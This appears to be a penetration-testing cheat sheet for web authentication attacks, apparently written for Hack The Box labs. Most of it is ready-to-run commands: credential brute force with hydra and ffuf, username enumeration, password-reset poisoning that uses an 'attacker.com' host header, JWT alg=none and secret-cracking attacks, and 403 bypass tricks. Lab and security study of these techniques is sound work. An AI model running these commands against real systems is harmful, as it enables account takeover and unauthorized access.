Skip to content

Authentication

A. Credentials & Enumeration

Default & weak credentials

Common default pairs to try first:

admin:admin
admin:password
admin:$URL... (check vendor docs / default creds lists)
root:root
administrator:administrator
guest:guest
curl -s -X POST $URL/login -d "username=admin&password=admin"

Check CMS/vendor default creds list:

searchsploit <product name> default password

Username enumeration

Different error messages for valid vs invalid user:

curl -s -X POST $URL/login -d "username=admin&password=x" -o valid.html
curl -s -X POST $URL/login -d "username=doesnotexist&password=x" -o invalid.html
diff valid.html invalid.html

Timing difference (valid user takes longer):

for u in admin test guest; do /usr/bin/time -f "%e $u" curl -s -o /dev/null -X POST $URL/login -d "username=$u&password=x"; done

Password reset / register endpoint leaking existence:

curl -s -X POST $URL/forgot-password -d "email=admin@domain.htb"
curl -s -X POST $URL/register -d "username=admin"

Wordlist-based check:

ffuf -u $URL/login -X POST -d "username=FUZZ&password=x" -H "Content-Type: application/x-www-form-urlencoded" -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt -fr "invalid user"

Login brute-force

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt $IP http-post-form "/login:username=^USER^&password=^PASS^:Invalid"
hydra -l admin -P /usr/share/wordlists/rockyou.txt $IP http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"

ffuf alternative with filter on failure response:

ffuf -u $URL/login -X POST -d "username=admin&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -w /usr/share/wordlists/rockyou.txt -fc 200 -fr "Invalid"

Watch for lockout / rate-limit, add delay if needed:

hydra -l admin -P passwords.txt $IP http-post-form "/login:username=^USER^&password=^PASS^:Invalid" -t 4 -W 2

B. Session & Token

Password reset poisoning

Host header injection into reset link:

curl -s -X POST $URL/forgot-password -H "Host: attacker.com" -d "email=victim@domain.htb"

X-Forwarded-Host:

curl -s -X POST $URL/forgot-password -H "X-Forwarded-Host: attacker.com" -d "email=victim@domain.htb"

Check reset token predictability (sequential, timestamp-based):

curl -s -X POST $URL/forgot-password -d "email=victim@domain.htb" # repeat, compare tokens

IDOR on reset confirm (swap token/user id):

curl -s "$URL/reset-password?token=<token>&user=1"
curl -s "$URL/reset-password?token=<token>&user=2"

JWT & session manipulation

Decode:

echo "<jwt>" | cut -d '.' -f2 | base64 -d 2>/dev/null
jwt_tool <jwt> -T

alg=none attack:

jwt_tool <jwt> -X a

Crack weak HMAC secret:

jwt_tool <jwt> -C -d /usr/share/wordlists/rockyou.txt
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

Tamper claims (role, user id) and re-sign if secret known:

jwt_tool <jwt> -T -S hs256 -p "<secret>"

kid / jku header injection:

jwt_tool <jwt> -X k    # kid SQLi/path traversal
jwt_tool <jwt> -X i    # jku injection

Session cookie: check for predictable value / privilege escalation by editing cookie:

curl -s $URL/dashboard -b "session=<modified_value>"

C. Access Control Bypass

401/403 bypass

Path tricks:

curl -s $URL/admin/ -o /dev/null -w "%{http_code}\n"
curl -s $URL/admin/. -o /dev/null -w "%{http_code}\n"
curl -s $URL//admin// -o /dev/null -w "%{http_code}\n"
curl -s $URL/admin/..;/ -o /dev/null -w "%{http_code}\n"
curl -s $URL/%2e/admin -o /dev/null -w "%{http_code}\n"

Case change:

curl -s $URL/Admin -o /dev/null -w "%{http_code}\n"
curl -s $URL/ADMIN -o /dev/null -w "%{http_code}\n"

Header spoofing (internal access):

curl -s $URL/admin -H "X-Forwarded-For: 127.0.0.1"
curl -s $URL/admin -H "X-Originating-IP: 127.0.0.1"
curl -s $URL/admin -H "X-Remote-IP: 127.0.0.1"
curl -s $URL/admin -H "X-Custom-IP-Authorization: 127.0.0.1"

Method change:

curl -s -X POST $URL/admin -o /dev/null -w "%{http_code}\n"
curl -s -X HEAD $URL/admin -o /dev/null -w "%{http_code}\n"
curl -s -X TRACE $URL/admin -o /dev/null -w "%{http_code}\n"

Extra headers to override routing:

curl -s $URL/admin -H "X-Rewrite-URL: /admin"
curl -s $URL/admin -H "X-Override-URL: /admin"

D. Wrap-up

Triggers

You see Do next
"Invalid username" vs "Invalid password" Username enumeration
Reset link in response body/headers Password reset poisoning
JWT in cookie/header Decode and test alg=none, weak secret
403 on known path Try path tricks and header spoofing
No lockout after failed logins Brute-force with hydra
Registration echoes "user exists" Username enumeration via register
Role/privilege in JWT payload Tamper claim, re-sign if secret cracked
Session cookie is short/sequential Try session fixation / prediction

Notes

  • Always grab a baseline response (valid login) before diffing for enumeration.
  • Rate-limit brute-force attempts to avoid lockouts if the box behaves like one.
  • JWT none alg and weak secrets are the two fastest wins — check both before brute-forcing.
  • 403 bypass tricks are app/server specific — try several, not just one.
  • Keep a captured valid session/JWT to diff against a tampered one.